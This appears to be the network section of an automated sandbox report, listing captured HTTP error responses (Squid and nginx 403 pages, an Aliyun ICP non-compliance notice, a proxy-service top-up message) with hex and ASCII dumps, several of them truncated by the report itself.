Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squid/5.7Mime-Version: 1.0Date: Mon, 11 Mar 2024 15:39:45 GMTContent-Type: text/html;charset=utf-8Content-Length: 3703X-Squid-Error: ERR_ACCESS_DENIED 0Vary: Accept-LanguageContent-Language: enX-Cache: MISS from lb1X-Cache-Lookup: NONE from lb1:3128Via: 1.1 lb1 (squid/5.7)Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 30 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 32 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: BeaverCache-Control: no-cacheContent-Type: text/htmlContent-Length: 635Connection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 39 30 38 33 31 34 30 30 39 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003908314009"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: BeaverCache-Control: no-cacheContent-Type: text/htmlContent-Length: 635Connection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 39 30 38 33 31 34 30 30 39 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003908314009"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Mon, 11 Mar 2024 15:39:46 GMTContent-Length: 101Content-Type: text/plain; charset=utf-8Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0d 0a 50 6c 65 61 73 65 20 74 6f 70 75 70 3a 20 68 74 74 70 73 3a 2f 2f 61 73 6f 63 6b 73 2e 63 6f 6d 2f 61 64 64 2d 6d 6f 6e 65 79 2f 65 36 39 34 64 34 34 37 65 39 64 33 32 38 34 32 37 31 38 38 66 37 33 33 62 31 34 62 36 39 38 35 0d 0a Data Ascii: HTTP/1.1 403 ForbiddenPlease topup: https://asocks.com/add-money/e694d447e9d328427188f733b14b6985
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Mon, 11 Mar 2024 15:39:46 GMTContent-Length: 101Content-Type: text/plain; charset=utf-8Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0d 0a 50 6c 65 61 73 65 20 74 6f 70 75 70 3a 20 68 74 74 70 73 3a 2f 2f 61 73 6f 63 6b 73 2e 63 6f 6d 2f 61 64 64 2d 6d 6f 6e 65 79 2f 65 36 39 34 64 34 34 37 65 39 64 33 32 38 34 32 37 31 38 38 66 37 33 33 62 31 34 62 36 39 38 35 0d 0a Data Ascii: HTTP/1.1 403 ForbiddenPlease topup: https://asocks.com/add-money/e694d447e9d328427188f733b14b6985
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plain; charset=utf-8X-Content-Type-Options: nosniffDate: Mon, 11 Mar 2024 15:39:46 GMTContent-Length: 19Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: BeaverCache-Control: no-cacheContent-Type: text/htmlContent-Length: 635Connection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 39 30 38 33 31 34 30 38 38 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003908314088"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenConnection: closeContent-Type: text/htmlCache-Control: no-cacheX-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffContent-Length: 4897Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 38 3b 20 49 45 3d 45 44 47 45 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 26 64 69 73 70 6c 61 79 3d 73 77 61 70 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 52 6f 62 6f 74 6f 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 36 61 36 61 36 61 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 6e 70 75 74 5b 74 79 70 65 3d 64 61 74 65 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 65 6d 61 69 6c 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 6e 75 6d 62 65 72 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 70 61 73 73 77 6f 72 64 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 73 65 61 72 63 68 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 74 65 6c 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 74 65 78 74 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 74 69 6d 65 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 75 72 6c 5d 2c 20 73 65 6c 65 63 74 2c 20 74 65 78 74 61 72 65 61 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 36 32 36 32 36 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 62 61 73 65 6c 69 6e 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 2
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plain; charset=utf-8X-Content-Type-Options: nosniffDate: Mon, 11 Mar 2024 15:39:47 GMTContent-Length: 19Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squid/3.5.28Mime-Version: 1.0Date: Mon, 11 Mar 2024 15:39:48 GMTContent-Type: text/html;charset=utf-8Content-Length: 1002X-Squid-Error: ERR_ACCESS_DENIED 0Content-Language: enX-Cache: MISS from ah_testVia: 1.1 ah_test (squid/3.5.28)Connection: closeData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 38 20 54 68 65 20 41 65 72 6f 68 69 76 65 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 57 65 62 20 50 61 67 65 20 42 6c 6f 63 6b 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 0a 0a 62 6f 64 79 0a 3a 6c 61 6e 67 28 66 61 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 30 25 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 54 61 68 6f 6d 61 2c 20 52 6f 79 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 20 7d 0a 3a 6c 61 6e 67 28 68 65 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 7d 0a 20 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 69 64 3d 22 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 22 3e 0a 3c 64 69 76 20 69 64 3d 22 74 69 74 6c 65 73 22 3e 0a 3c 68 31 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 35 62 38 63 62 64 3b 22 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 61 6e 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 68 31 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 70 3e 41 63 63 65 73 73 20 74 6f 20 74 68 65 20 77 65 62 20 70 61 67 65 20 68 61 73 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 20 69 6e 20 61 63 63 6f 72 64 61 6e 63 65 20 77 69 74 68 20 74 68 65 20 6e 65 74 77 6f 72 6b 20 70 6f 6c 69 63 79 2e 20 49 66 20 79 6f 75 20 62 65 6c 69 65 76 65 20 74 68 69 73 20 69 73 20 61 6e 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 20 73 79 73 74 65 6d 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 55 52 4c 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 2f 2a 22 3e 68 74 74 70 73 3a 2f 2f 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 2f 2a 3c 2f 61 3e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 43 61 74 65 67 6f 72 79 3a 20 3c 2f 70 3e 0a 3c 62 72 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Mon, 11 Mar 2024 15:39:48 GMTContent-Type: text/htmlContent-Length: 548Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/htmlContent-Length: 2149Date: Mon, 11 Mar 2024 15:39:48 GMTX-Cache: MISS from kwts1-pubX-Cache-Lookup: NONE from kwts1-pub:3128Via: 1.1 kwts1-pub (squid/4.8)Connection: keep-alive
